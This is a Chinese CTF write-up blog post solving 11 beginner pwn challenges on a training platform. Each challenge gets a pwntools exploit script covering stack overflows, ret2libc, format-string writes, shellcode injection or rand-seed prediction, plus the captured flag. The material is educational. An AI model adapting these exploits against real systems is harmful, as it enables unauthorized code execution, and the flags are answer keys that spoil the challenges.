pwn

pwn复现之攻防世界新手区

Posted by inhann on 2021-02-11
Page views

[toc]

菜鸡做一做pwn题,这里记录一下攻防世界新手区(11题)的解题思路

0x01 int_overflow

image-20210119215722691

基本信息

  • elf
  • 32bit

checksec一下

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

IDA打开

image-20210119220341136

看来要调用这个函数

image-20210119220413622

看看main函数

image-20210119220607432

image-20210126234347272

从stdin输入v4,如果v4==1,就调用login

而login里面有read函数,可以往buf里面写东西,但是大小有限,应该不能直接覆盖到ebp,但是还有个check_passwd函数,里面有个strcpy,这个栈帧就是进行栈覆盖的地方

strcpy的声明是这样的:

1
size_t strlen(const char *str)

其中size_t在32架构中是unsigned int的别名,即在stddef.h中有这样的语句

1
typedef unsigned int size_t

unsigned int 类型是4byte,而4u用16进制表示

1
0x00000004

但是v3 是 unsigned __int8类型的,也就是只有1byte

所以说4u最后存储在v3中只有

1
0x04

现在可以让输入的东西,的长度为

1
0x104

这样最后就能成功执行到strcpy了

执行strcpy的目的当然是覆盖check_passwd这个函数的retrurn address

所以写exp

1
2
3
4
5
6
7
import pwn
sh = pwn.remote("111.200.241.243",39755)
payload = 'a'*(0x4+0x14)+pwn.p32(0x804868B)
sh.sendlineafter("choice:","1")
sh.sendlineafter("username:\n","hello")
sh.sendlineafter("passwd:\n",payload.ljust(0x104,"a"))
sh.interactive()
1
cyberpeace{1ca23a0e98a34cb014e8f000a6849844}

0x02 get_shell

基本信息

image-20210207182756406

  • elf
  • 64bit

checksec一下

image-20210207183027355

  • 没有canary
  • 开了nx
  • 没有pie

运行一下,发现直接getshell了

那也太简单了

直接nc

image-20210207183305653

1
cyberpeace{9ad5e3a29bd3781e239f1182ab3f2651}

0x03 when_did_you_born

基本信息

image-20210207183418454

  • elf
  • 64bit

image-20210207183453613

  • 没有canary
  • 开了nx
  • 没有开pie

跑一跑

image-20210207183545392

有两个地方可以输入

IDA打开

main函数里面有一个system(“cat flag”)

image-20210207183714545

一开始v5!=1926,而输入完v4后v5==1926就能执行

1
2
char v4; // [rsp+0h] [rbp-20h]
unsigned int v5; // [rsp+8h] [rbp-18h]

直接写exp

1
2
3
4
5
6
import pwn
sh = pwn.remote("111.200.241.244",48463)
payload = pwn.flat("a"*(0x20-0x18),1926)
sh.sendlineafter("Birth?\n","1")
sh.sendlineafter("Name?\n",payload)
sh.interactive()

得到flag

1
cyberpeace{d62e441234b4fc0601f14dba9735e2d5}

image-20210207185157445

0x04 hello_pwn

基本信息

image-20210208002023162

  • elf
  • 64bit

checksec一下

image-20210208002503306

  • 没有canary
  • 开了nx
  • 没有开pie

跑一跑

image-20210208002557780

有一个输入点

IDA打开

image-20210208002751914

找到一个get_flag函数(函数名给我改了)

main函数

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
alarm(0x3Cu);
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &insert, 0x10uLL);
if ( to_cover == 1853186401 )
get_flag();
return 0LL;
}

image-20210208003046637

1
2
3
4
5
bss:0000000000601068 insert          db    ? ;               ; DATA XREF: main+3Bo
.bss:0000000000601069 db ? ;
.bss:000000000060106A db ? ;
.bss:000000000060106B db ? ;
.bss:000000000060106C to_cover dd ? ; DATA XREF: main+4Ar

所以要做的就很简单了,就是从insert变量读入东西,把to_cover变量给覆盖了

1
2
0x6c-0x68 ==  4
1853186401 == 0x6e756161

写exp

1
2
3
4
5
import pwn
sh = pwn.remote("111.200.241.244",31336)
payload = 'a'*(0x6c-0x68)+pwn.p64(0x6e756161)
sh.sendlineafter("bof\n",payload)
sh.interactive()
1
cyberpeace{e654b37727f2d7c4d9526e6e95b24ccd}

0x05 level2

基本信息

image-20210208082028122

  • elf
  • 32bit

checksec一下

image-20210208082141869

  • 没有canary
  • 开了nx
  • 没有pie

跑一跑

image-20210208082222073

有一个输入点

IDA打开

有 “/bin/sh”

image-20210208082347584

1
2
.data:0804A024                 public hint
.data:0804A024 hint db '/bin/sh',0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:0804844B vulnerable_function proc near           ; CODE XREF: main+11↓p
.text:0804844B
.text:0804844B buf = byte ptr -88h
.text:0804844B
.text:0804844B ; __unwind {
.text:0804844B push ebp
.text:0804844C mov ebp, esp
.text:0804844E sub esp, 88h
.text:08048454 sub esp, 0Ch
.text:08048457 push offset command ; "echo Input:"
.text:0804845C call _system
.text:08048461 add esp, 10h
.text:08048464 sub esp, 4
.text:08048467 push 100h ; nbytes
.text:0804846C lea eax, [ebp+buf]
.text:08048472 push eax ; buf
.text:08048473 push 0 ; fd
.text:08048475 call _read
.text:0804847A add esp, 10h
.text:0804847D nop
.text:0804847E leave
.text:0804847F retn
.text:0804847F ; } // starts at 804844B
.text:0804847F vulnerable_function endp

vulnerable_function 函数里面有调用system函数

image-20210208082539130

而buf可以作为栈覆盖的注入点

1
char buf; // [esp+0h] [ebp-88h]

写exp

1
2
3
4
5
6
7
8
import pwn
sh = pwn.remote("111.200.241.244",45256)
pwn.context.arch = "i386"
system_addr = 0x0804845C
bin_sh_addr = 0x0804A024
payload = pwn.flat('a'*(0x88+4),system_addr,bin_sh_addr)
sh.sendlineafter("Input:\n",payload)
sh.interactive()
1
cyberpeace{c61306aeef5415b5482cc679aa02f8c9}

system_addr是call指令

image-20210208085540738

所以不需要deadbeef

0x06 string

基本信息

image-20210208085706478

  • elf
  • 64bit

checksec一下

image-20210208085817370

  • 有canary
  • 开了nx
  • 没有pie

跑一跑

image-20210208091227030

输入输出一大堆东西,3个输入点

IDA打开

image-20210208093319650

insert 函数中

1
char s; // [rsp+10h] [rbp-20h]

但是输入s的时候,并不知道canary的大小,所以没法栈覆盖

而在func_2函数中有格式化字符漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 fun_2()
{
int v1; // [rsp+4h] [rbp-7Ch]
__int64 v2; // [rsp+8h] [rbp-78h]
char format; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = 0LL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1), or leave(0)?:");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf("%ld", &v2);
puts("And, you wish is:");
_isoc99_scanf("%s", &format);
puts("Your wish is");
printf(&format, &format);
puts("I hear it, I hear it....");
}
return __readfsqword(0x28u) ^ v4;
}

func_3中有一个read函数,但是是往内存中一个随机的区域内写的

image-20210208101949382

1
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);

而这个v1,最终将作为函数指针,运行其指向的位置的代码

在汇编中,就是这样的

image-20210208120648991

也就是说,rax 所指向的代码最终被call了

所以可以往v1中写入shellcode

而要调用func_3中这个read函数,需要满足 *a1 == a1[1]

而这个a1究其源头,是main函数中的v4

image-20210208102224075

且经过

1
2
3
4
v3 = malloc(8uLL);
v4 = (__int64)v3;
*v3 = 68;
v3[1] = 85;

导致 最终 *a==68a[1]==85

所以此处的 格式化字符串漏洞,应该用来更改这两个变量的值,使得其二者相等,目的是最终能够调用func_3中的read实现写入shellcode并执行shellcode

先确认一下这个a变量确实可以写

image-20210208122114276

确实可写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int v1; // [rsp+4h] [rbp-7Ch]
__int64 v2; // [rsp+8h] [rbp-78h]
char format; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf("%ld", &v2);
puts("And, you wish is:");
_isoc99_scanf("%s", &format);
puts("Your wish is");
printf(&format, &format);
puts("I hear it, I hear it....");
}
1
2
v2 = a_addr
format = "%85d%7n"

写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pwn
sh = pwn.remote("111.200.241.244",56822)
pwn.context.arch = "amd64"
pwn.context.log_level = 'DEBUG'
sh.recvuntil("secret[0] is ")
a_addr = int(sh.recvline()[0:-1],16)
sh.sendlineafter("name be:\n","a")
sh.sendlineafter("go?east or up?:\n","east")
sh.sendlineafter("leave(0)?:\n","1")
sh.sendlineafter("Give me an address'\n",str(a_addr))
sh.sendlineafter("you wish is:\n","%85d%7$n")

payload = pwn.asm(pwn.shellcraft.sh())
sh.sendlineafter("USE YOU SPELL\n",payload)
sh.interactive()
1
cyberpeace{5956b18d5bf461124821498123b2ce02}

0x07 guess_num

基本信息

image-20210208163118049

  • elf
  • 64bit

checksec 一下

image-20210208163242892

  • 有canary
  • 开了nx
  • 开了pie

跑一跑

image-20210208163408318

两个输入点

IDA看看

找到一个函数

1
sub_C3E

image-20210208163515001

看看main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]

v9 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v4 = 0;
v6 = 0;
*(_QWORD *)seed = get_random();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets(&v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}

v7 可以进行栈覆盖,改变seed[0] 的值

要一口气输入10个数字,每个都和rand生成的对上

然而 rand 产生的随机数是伪随机数

image-20210208173905361

所以可以用ctypes运行c代码,运行rand和srand,最后达成目标

写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pwn
import ctypes
sh = pwn.remote("111.200.241.244",54029)
pwn.context.arch = "amd64"
pwn.context.log_level = 'DEBUG'
e = pwn.ELF("/home/inhann/Repo_Proj/g")
libc_name = e.libc.file.name
libc = ctypes.cdll.LoadLibrary(libc_name)
payload = pwn.flat("a"*(0x30-0x10),chr(0)*4)
sh.sendlineafter("Your name:",payload)
libc.srand(0)
for i in range(10):
r = libc.rand()
a = r%6 + 1
print(a)
sh.sendlineafter("guess number:",str(a))

sh.interactive()
1
cyberpeace{428655cd433513bb1b786bf9a8880d88}

0x08 level3

解压文件

基本信息

image-20210208180310600

  • elf
  • 32 bit

还有一个 libc_32.so.6

checksec 一下

image-20210208180455262

  • 没有canary
  • 开了nx
  • 没有pie

跑一跑

image-20210208180549824

有一个输入点

IDA看看

image-20210208180646404

果然没有system之类的

看看main函数

image-20210208180857973

有个buf可以注入,栈覆盖

然后到时候ret2libc就行

直接写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import pwn
import ctypes
sh = pwn.remote("111.200.241.244",53237)
pwn.context.arch = "i386"
pwn.context.log_level = 'DEBUG'
e = pwn.ELF("/home/inhann/Repo_Proj/l")
libc = pwn.ELF("/home/inhann/Repo_Proj/libc_32.so.6")
write_got = e.got["write"]
write_plt = e.plt["write"]
# main = 0x08048484
main = e.symbols["main"]
payload = pwn.flat("a"*(0x88+4),write_plt,main,1,write_got,4)
sh.sendlineafter("Input:\n",payload)

write_addr = pwn.u32(sh.recv(4))
libc_base = write_addr - libc.symbols["write"]
system_addr = libc_base + libc.symbols["system"]
a = libc.search("/bin/sh").next()

bin_sh_str = libc_base + a
payload = pwn.flat("a"*(0x88+4),system_addr,0xdeadbeef,bin_sh_str)

sh.sendlineafter("Input:\n",payload)

sh.interactive()
1
cyberpeace{c88574c699dcdee023b13a6c7b67eef4}

0x09 CGfsb

基本信息

image-20210208200051645

  • elf
  • 32bit

checksec一下

image-20210208200223989

  • 有canary
  • 开了nx
  • 没有pie

跑一跑

image-20210208200313176

有两个输入点

IDA看看

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]

v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}
1
printf(&s);

这里有格式化字符漏洞

1
.bss:0804A068 pwnme           dd ?

而 pwnme 变量位于 bss段

所以可以 利用格式化字符漏洞写bss段

1
2
3
4
5
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]

buf 的地址比 s还要低,二者之间差10字节,但是最多只能从buf读入10字节

这样就不能奢望从buf写入pwnme变量的地址了

可以试着直接从s输入

image-20210208204050817

可以看到,可以通过 10$n 修改 AAAA所在代表的地址

写exp

1
2
3
4
5
6
7
8
9
import pwn
sh = pwn.remote("111.200.241.244",50756)
pwn.context.log_level = 'DEBUG'
pwn.context.arch = "i386"
e = pwn.ELF("/home/inhann/Repo_Proj/g")
sh.sendlineafter("your name:\n","a")
payload = pwn.p32(0x0804A068)+"aaaa%10$n"
sh.sendlineafter("message please:\n",payload)
sh.interactive()
1
cyberpeace{422391f5c18099a7d040acfe547207d3}

0x0a level0

基本信息

image-20210208213707181

  • elf
  • 64bit

checksec一下

image-20210211161447209

  • 没有canary
  • 开了 nx
  • 没开 pie

跑一跑

image-20210211161555669

就一个输入点

IDA看看

image-20210211161649117

看到一个callsystem函数

看看地址

image-20210211162024806

1
0x000000000040059A

看看main

image-20210211161800217

很简单的栈溢出,ret2text

直接写 exp

1
2
3
4
5
6
import pwn
sh = pwn.remote("111.200.241.244",45244)
pwn.context.log_level = 'DEBUG'
payload = 'a'*(0x80+8)+pwn.p64(0x000000000040059A)
sh.sendlineafter("World\n",payload)
sh.interactive()
1
cyberpeace{04ce4697044ee8bd59c04d3b263b4976}

0x0b cgpwn2

基本信息

image-20210211162635439

  • elf
  • 32bit

checksec 一下

image-20210211162741889

  • 没有canary
  • 开了 nx
  • 没有开 pie

跑一跑

image-20210211162912487

两个输入点

IDA看看

找到一个pwn函数

image-20210211163045399

1
2
3
4
5
6
7
8
9
10
11
.text:0804854D                 public pwn
.text:0804854D pwn proc near
.text:0804854D ; __unwind {
.text:0804854D push ebp
.text:0804854E mov ebp, esp
.text:08048550 sub esp, 18h
.text:08048553 mov dword ptr [esp], offset command ; "echo hehehe"
.text:0804855A call _system
.text:0804855F nop
.text:08048560 leave
.text:08048561 retn

看看main

image-20210211163359298

hello函数里面有一个 gets,可以 用来栈覆盖,而name变量在bss里面

1
.bss:0804A080 name            db 34h dup(?)

所以就往name里面写 “/bin/sh”,然后利用system函数

直接写exp

1
2
3
4
5
6
7
8
import pwn
sh = pwn.remote("111.200.241.244",46015)
pwn.context.log_level = 'DEBUG'
pwn.context.arch = "i386"
sh.sendlineafter("me your name\n","/bin/sh")
payload = pwn.flat('a'*(0x26+4),0x0804855A,0x0804A080)
sh.sendlineafter("message here:\n",payload)
sh.interactive()
1
cyberpeace{44faf4bef78fb17bde79f74db3138b8d}